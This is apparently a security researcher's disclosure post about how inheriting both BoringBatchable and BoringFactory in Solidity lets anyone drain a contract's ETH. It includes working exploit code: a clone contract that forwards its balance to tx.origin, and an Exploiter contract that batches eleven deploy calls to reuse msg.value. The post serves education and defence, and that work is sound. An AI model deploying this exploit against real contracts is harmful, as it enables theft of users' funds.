I came across a fun footgun in the BoringSolidity contracts library and wanted to share it so future devs (and their users) don’t lose a foot. It is closely related to the vuln that samczsun found in the MISO fundraise. Here it is in a single line:

contract ThisCanBeDrainedOfETH is BoringBatchable, BoringFactory {}

That is to say, any contract that inherits both BoringBatchable and BoringFactory can be drained of all ETH by anyone. We’ll discuss below how it works, but if you want to try to figure it out yourself, you can find the BoringBatchable contract here and the BoringFactory contract here.

BoringBatchable and samczsun’s save

The BoringSolidity contracts are a suite of contracts -- akin to OpenZeppelin Contracts -- that can be used to add commonly needed functionality to your own contracts. The suite is popular in some DeFi circles.

The BoringBatchable contract allows a caller to batch together several calls to the inheriting contract and have them all executed in a single transaction -- saving gas and improving UX. This is achieved via the batch function, which loops over the user’s calls and causes the contract to delegate call into itself to perform each of the calls.

Critically, the batch function is payable, meaning that for every delegatecall in the loop, mgs.value is potentially a positive number: the amount of ETH that was originally sent when calling the batch function. This means that the user may be able to spend the same ETH more than once during a batch.

(Yes, this is itself a footgun, and a now-famous one. But it’s not the footgun this article is about.)

This was brought to light in spectacular fashion when samczsun discovered it in an auction contract related to a SushiSwap’s MISO fund raise (and subsequently helped save over 109k ETH).

The discovery did lead to a change in the BoringBatchable contract, but it’s not the change you might have expected. The change wasn’t to make the batch function non-payable. It was to add the following warning in a comment above the batch function that we must hope devs will read:

Combining BoringBatchable with msg.value can cause double spending issues

Suspecting that some devs who used the library won’t have read the warning, I set out looking for any contracts that inherit BoringBatchable and use msg.value anywhere in their code.

And that’s when I noticed that BoringSolidity‘s very own BoringFactory contract lets anyone forward msg.value ETH to a contract they can control. This means that the BoringFactory contract can be used in conjunction with BoringBatchable to drain any contract that inherits them both.

BoringFactory as an ETH-forwarder

The BoringFactory contract is a straightforward contract that allows any caller to deploy a copy of any contract that they want, and have msg.value ETH sent from the BoringFactory contract to the newly deployed contract’s init function.

So, for example, one could deploy the following contract:

contract MasterContractToClone is IMasterContract {
  function init(bytes calldata data) external override payable { 
    payable(tx.origin).transfer(address(this).balance);
  }
}

Then, any call to BoringFactory’s deploy function that passes in the address of the above contract as the masterContract will result in msg.value ETH being sent to the top-level caller (tx.origin in this case).

Putting it all together

So suppose we have a contract that inherits both BoringBatchable and BoringFactory:

contract ThisCanBeDrainedOfETH is BoringBatchable, BoringFactory {}

How do we drain it?

We start by deploying the following Exploiter contract:

interface IExploitable {
  function batch(bytes[] calldata calls, bool revertOnFail) external payable;
}

contract Exploiter {
  bytes[] public calls;

  // you'll end up stealing 10x the amount of your msg.value, assuming the 
  // exploitable contract holds that much.
  function exploit(address _exploitableContract) external payable {
    require(msg.value > 0, "must send some ETH");
    
    // deploy MasterContractToClone
    address masterContractToClone = address(new MasterContractToClone());

    // set calls for batch
    delete calls;
    bytes memory data = "0x123456";
    bytes memory _data = abi.encode(masterContractToClone, data, false);
    bytes memory call = abi.encodePacked(bytes4(keccak256(bytes("deploy(address,bytes,bool)"))), _data);
    for (uint256 i = 0; i < 11; i++) {
      calls.push(call);
    }

    // exploit batch + deploy functions
    IExploitable(_exploitableContract).batch{value: msg.value}(calls, true);
  }
}

Then we simply call the Exploiter.exploit function, sending along some non-zero amount of ETH. The result is that, at the end of the transaction, the caller will have received 10x the amount of ETH they sent to the call (but no more than the vulnerable contract originally held, of course).

You can play around with this yourself in Remix using this proof-of-concept code.

Wait, why is this fun?

This is a dangerous footgun. But as a security researcher, it was a fun one because it revealed a blindspot in my own thinking. BoringBatchable, by itself, is not broken. (It’s a hell of a footgun all on its own, but by itself it doesn’t introduce any critical vulnerabilities). The same is true of BoringFactory. But when you combine these two contracts -- from the same contract suite! -- they create a theft-of-ETH vulnerability that can be exploited by anyone. This isn’t something I’d seen before, where two contracts from the contract contract suite are independently safe, but unsafe to use together.

Who’s affected?

I used Etherscan's search contract feature to find projects with this vulnerability present. I found only two such projects that are actively used -- SushiSwap's BentoBoxV1 and Abracadabra.Money: Degenbox (these are near duplicates of each other).

Neither of these have any meaningful amount of ETH in the them, and both are designed not to hold any ETH. Additionally both could be drained of ETH in other, in-protocol (intended) ways if needed.

So as far as I can tell, no funds are currently at risk with this vulnerability. Hopefully this article helps keep it that way. :)

If you found this helpful, please consider contributing to my security spot checks project.

Stay safe out there. Cheers!